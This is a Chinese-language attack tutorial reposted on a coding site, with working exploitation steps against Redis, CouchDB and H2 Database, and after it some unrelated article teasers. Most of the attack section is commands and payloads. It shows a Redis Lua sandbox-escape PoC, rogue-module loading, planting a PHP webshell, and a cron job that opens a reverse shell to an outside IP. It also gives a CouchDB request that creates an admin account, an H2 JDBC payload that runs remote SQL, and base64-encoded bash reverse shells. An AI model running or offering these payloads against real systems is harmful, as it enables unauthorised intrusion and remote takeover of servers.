數據庫安全-redisCouchdb

1.redis未授權訪問

默認端口:6379

1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543

介紹:Redis 是一套開源的使用 ANSI C編寫、支持網絡、可基于內存亦可持久化的日志型、鍵值存儲數據庫,并提供多種語言的API。Redis 如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。

影響版本:僅為運行在 Debian、Ubuntu?或其他基于 Debian 的 Linux 發行版系統上的 以下Redis 服務。

?2.2 <= redis < 5.0.13

?2.2 <= redis < 6.0.15

?2.2 <= redis < 6.2.5

Poc:執行id 和pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

1.2?redis 未授權訪問(CNVD-2019-21763)

介紹:Redis是一個開源的使用ANSIC語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的AP!。由于在Reids 4.x及以上版本中新增了模塊功能,攻擊者可通過外部拓展,在Redis中實現一個新的Redis命令。攻擊者可以利用該功能引入模塊,在未授權訪問的情況下使被攻擊服務器加載惡意.s0 文件,從而實現遠程代碼執行。

https://github.com/vulhub/redis-rogue-getshell
python redis-master.py-r 目標IP -p 目標端口 -L 攻擊IP -P 8888 -f?RedisModulesSDK/exp.so -c "id"

1.3?未授權訪問CNVD-2015-07557

寫 webshell 需得到 web 路徑

利用條件:web 目錄權限可讀寫

config set dir /tmp? ? ?#設置WEB 寫入目錄

config set dbfilename 1.php? ? ?#設置寫入文件名

set test "<?php phpinfo();?>"? ? ?#設置文件代碼

bgsave? ? ?#保存執行
save? ? #保存執行

注意:部分沒目錄權限讀寫權限


寫定時任務反彈 shell

config set dir /var/spool/cron

set yy "\n\n\n***** bash -i >& /dev/tcp/47.94.236.117/55550>&1\n\n\n"

config set dbfilename x

save

利用條件:安全模式protected-mode處于關閉狀態

注意:centos會忽略亂碼去執行格式正確的任務計劃而 ubuntu并不會忽略這些亂碼,所以導致命令執行失敗

1.4 redis使用工具

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py--rhost 目標IP --rport 目標端囗--lhost IP

2.數據庫Couchdb

默認端口:5984

2.1 數據庫Couchdb命令執行

(1)下載 exp.py

https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
(2)修改目標和反彈地址


(3)Python執行腳本,攻擊機開啟監聽

2.2 Couchdb 垂直權限繞過(CVE-2017-12635)

介紹:Couchclo垂直權限繞過(CVE-2017-12635Apache CouchDB 是一個開源數據庫,專注于易用性和成為"完全擁抱 web 的數據庫"它是一個使用 JSON 作為存儲格式,JavaScript 作為查詢語言,MapReduce 和 HTTP作為 API的 NoSQL 數據庫。應用廣泛,如 BBC 用在其動態內容展示平臺,CreditSuisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程序)。

(1)創建用戶

PUT /_users/org.couchdb.user:用戶名 HTTP/1.1
Host: 攻擊IP:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
? "type": "user",
? "name": "用戶名 ",
? "roles": ["_admin"],
? "roles": [],
? "password": "密碼"
}

(2)登錄驗證

Get:/_utils/
用戶名 密碼登錄成功

3 數據庫應用-H2database--未授權訪問&CVE漏洞

洞默認端口:20051
JavaSQ數據庫H2,H2的主要特點是:非常快,開源,JDBC API;嵌入式和服務器模式;內存數據庫;基于瀏覽器的控制臺應用程序。H2數據庫控制臺中的另一個未經身份驗證的 RCE 漏洞,在 v2.1.210+中修復。2.1.210 之前的 H2 控制臺允許遠程攻擊者通過包含子字符串的jdbc:h2:mem JDBC URL執行任意代碼。

3.1 未授權進入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
?

rce執行反彈

H2 database自帶一個Web管理頁面,在Spirng開發中,如果我們設置如下選項,即可允許外部用戶訪問Web管理頁面,且沒有鑒權:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

H2 database的管理頁面,訪問http://主機:端口/h2-console

利用這個管理頁面,我們可以進行JNDI注入攻擊,進而在目標環境下執行任意命令。

vim fuckh2db.sql? 攻擊機創建一個文件fuckh2db.sql

這個sql文件內容需要自己修改

反彈shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (這個IP寫你shell要反彈到哪臺主機上的那個主機的IP)

CREATE TABLE test (

? ? ?id INT NOT NULL?);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反彈shell的命令base64編碼過后放在這里}|{base64,-d}|{bash,-i}");';

在攻擊機上監聽端口 nc -lvvp xxxx (這個端口要看你剛才反彈shell時對應的端口)

填入Payload使其加載遠程SQL

下面這條命令的后面需要修改一下你自己攻擊機的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令寫入到 JDBC URL中點擊連接即可

返回監聽的主機上 看到拿到了反彈過來的shell,命令執行成功

3.2H2database jndi注入

利用這個管理頁面,我們可以進行?JNDI?注入攻擊,進而在目標環境下執行任意命令。

工具地址:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻擊者IP

//反彈shell命令就行base64編碼
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

編碼后:? bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

攻擊端監聽? nc -lvvp 6666

將生成出來的所提供的服務,輸入到界面當中,進行連接

成功反彈shell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/63986.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/63986.shtml
英文地址,請注明出處:http://en.pswp.cn/web/63986.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

springboot集成websokcet+uniapp開發聊天原型驗證(一)

1. 整體思路 群組聊天功能實現思路 需要為每個群組維護一個對應的集合&#xff08;可以是 Set 等數據結構&#xff09;&#xff0c;用來存放該群組內所有在線用戶的 WebSocketSession。當有消息發送到群組時&#xff0c;遍歷該群組對應的集合&#xff0c;向其中的每個在線用戶…

Reed-Muller(RM)碼之編碼

點個關注吧! 看了一些中文的博客,RM碼沒有很詳細的資料,所以本文嘗試給出推導原理。 推導 RM碼由 ( r , m ) ( r , m ) (r,m

List直接使用removeAll報錯

List直接使用removeAll報錯 需要先將list轉換才能使用 原因是&#xff1a; removeAll 方法在 Java 中用于從當前列表中刪除另一個列表中存在的所有元素。如果直接對 List 接口的一個實現使用 removeAll 方法拋出異常&#xff0c;可能的原因有&#xff1a; 不同的List實現&am…

Linux -- 線程的優點、pthread 線程庫

目錄 線程的優點 pthread 線程庫 前言 認識線程庫 簡單驗證線程的獨立棧空間 線程的優點 與進程之間的切換相比&#xff0c;線程之間的切換需要操作系統做的工作要少得多。 調度進程時&#xff0c;CPU 中有一個 cache&#xff08;緩存&#xff0c;提高運行效率&#xff0…

【magic-dash】01:magic-dash創建單頁面應用及二次開發

文章目錄 一、magic-dash是什么1.1 安裝1.2 使用1.2.1 查看內置項目模板1.2.2 生成指定項目模板1.2.3 查看當前magic-dash版本1.2.4 查看命令說明1.2.5 內置模板列表二、創建虛擬環境并安裝magic-dash三、magic-dash單頁工具應用開發3.1 創建單頁面項目3.1.1 使用命令行創建單頁…

從零開始使用MaxKB打造本地大語言模型智能問答系統與遠程交互

文章目錄 前言1. 下載運行Ollama2. 安裝大語言模型3. 安裝Cpolar工具4. 配置公網地址5. 固定公網地址6. MaxKB 添加Olama7.創建問答應用 前言 目前大語言模型&#xff08;LLM&#xff09;已經成為了人工智能領域的一顆璀璨明星&#xff0c;從自然語言處理到智能問答系統&#…

深度解析 Pytest 中的 conftest.py

關注開源優測不迷路 大數據測試過程、策略及挑戰 測試框架原理&#xff0c;構建成功的基石 在自動化測試工作之前&#xff0c;你應該知道的10條建議 在自動化測試中&#xff0c;重要的不是工具 在使用 Pytest 進行測試的過程中&#xff0c;conftest.py 文件扮演著極為重要的角色…

【python】銀行客戶流失預測預處理部分,獨熱編碼·標簽編碼·數據離散化處理·數據篩選·數據分割

數據預處理 通過網盤分享的文件&#xff1a;銀行流失預測數據和代碼 鏈接: https://pan.baidu.com/s/1loiB8rMvZArfjJccu4KW6w?pwdpfcs 提取碼: pfcs 非數值特征處理 目的&#xff1a;將非數值特征轉換為數值型&#xff0c;以便模型能夠處理。方法&#xff1a; 地理位置&am…

回歸預測 | MATLAB實現CNN-LSSVM卷積神經網絡結合最小二乘支持向量機多輸入單輸出回歸預測

回歸預測 | MATLAB實現CNN-LSSVM卷積神經網絡結合最小二乘支持向量機多輸入單輸出回歸預測 目錄 回歸預測 | MATLAB實現CNN-LSSVM卷積神經網絡結合最小二乘支持向量機多輸入單輸出回歸預測預測效果基本介紹程序設計參考資料 預測效果 基本介紹 回歸預測 | MATLAB實現CNN-LSSVM…

slam學習筆記7---狀態量求導相關數學公式

前言&#xff1a;本來打算只是歸納一下數學求導相關公式&#xff0c;后面也寫了旋轉求導相關內容&#xff0c;哈哈。感覺有點發散把握不住呀。水平有限&#xff0c;歡迎評論區點出。 一、基本初等函數求導公式 ( C ) ′ 0 , C (C)0,C (C)′0,C為常數 ( x μ ) ′ μ x μ ?…

32單片機串口數據接收、空閑IDLE中斷詳解

一、前提說明 一開始寫單片機程序的時候不太清楚空閑中斷這個東西&#xff0c;每次用串口接收數據&#xff0c;都要再開一個定時器&#xff0c;在定時器內進行倒計時&#xff0c;每次接收數據就重置計時時間&#xff0c;計時結束就觸發中斷&#xff0c;再判斷所有接收的數據&am…

深入探討 Go 中的高級表單驗證與翻譯:Gin 與 Validator 的實踐之道20241223

深入探討 Go 中的高級表單驗證與翻譯&#xff1a;Gin 與 Validator 的實踐之道 在現代后端開發中&#xff0c;表單驗證是保證數據完整性和服務穩定性的核心環節。如何優雅、高效地實現表單驗證&#xff0c;同時提供人性化的錯誤提示&#xff0c;是每位開發者的必修課。在本文中…

掌握 Ansys ACP 中的參考方向:簡化復雜的復合材料設計

概括 在復合材料分析領域&#xff0c;精度至關重要&#xff0c;尤其是在定義纖維方向和鋪層時。Ansys ACP&#xff08;Ansys Composite PrepPost&#xff09;提供了強大的工具來建立參考方向&#xff0c;這是實現精確結構模擬的關鍵步驟。在本博客中&#xff0c;我們將揭開在 …

Vue2學習(一)——Vue簡介、Vue指令與指令修飾符

一、Vue簡介 Vue是一套用于構建用戶界面的漸進式框架。 所謂漸進式就是循序漸進&#xff0c;不一定非得把Vue中的所有API都學完才能開發Vue&#xff0c;可以學一點開發一點。 Vue2官網地址&#xff1a;https://v2.cn.vuejs.org/ Vue3官網地址&#xff1a;https://cn.vuejs…

Redis--通用命令學習

目錄 一、引言 二、基礎命令 1.set 2.get 3.keys 3.1 keys &#xff1f; 3.2 keys * 3.3 keys [abe] 3.4 keys [^] 3.5 keys [a-b] 4.exists 5.delete 6.expire 7.ttl 8.type 三、Redis中的過期策略&#xff08;面試題&#xff09; 1.惰性刪除 2.定期刪除 …

Linux程序設計(第四版)| 學習筆記

上次學習Linux相關內容還是上學的時候為了應付考試&#xff0c;最近有項目涉及Linux&#xff0c;重新學習以下。 很多年前關于Linux的總結 一、入門 1.概念 (1) UNIX 1)定義&#xff1a;指的是一種遵循特定規范的計算機操作系統。 2)特點&#xff1a;簡單性、集中性、可重用…

PostgreSQL 的歷史

title: PostgreSQL 的歷史 date: 2024/12/23 updated: 2024/12/23 author: cmdragon excerpt: PostgreSQL 是一款功能強大且廣泛使用的開源關系型數據庫管理系統。其歷史可以追溯到1986年,當時由加州大學伯克利分校的一個研究團隊開發。文章將深入探討 PostgreSQL 的起源、…

Ubuntu22.04 LTS 安裝nvidia顯卡驅動

準備跑老師給定的Github上的多模態源碼,但是用了這么久ubuntu還沒有嘗試過安裝nvidia驅動,好在也是一次成功,于是記錄下來。 借鑒的是Ubuntu22.04安裝顯卡驅動(高速、避錯版)-CSDN博客這篇文章,按照流程來基本沒有問題,不過個人覺得有些步驟比較冗余,所以記錄下來 主要…

WPS工具欄灰色怎么辦

WPS離線不登錄&#xff0c;開啟工具欄等相關功能 當你在使用WPS的過程中&#xff0c;若因網絡問題或其他特殊原因&#xff0c;導致無法登錄使用WPS時&#xff0c;可根據以下步驟開啟離線兼容模式&#xff0c;開啟此模式后&#xff0c;可在未登錄的狀態下&#xff0c;激活并使用…

國標GB28181-2022平臺EasyGBS:安防監控中P2P的穿透方法

在安防監控領域&#xff0c;P2P技術因其去中心化的特性而受到關注&#xff0c;尤其是在遠程視頻監控和數據傳輸方面。P2P技術允許設備之間直接通信&#xff0c;無需通過中央服務器&#xff0c;這在提高效率和降低成本方面具有明顯優勢。然而&#xff0c;P2P技術在實際應用中也面…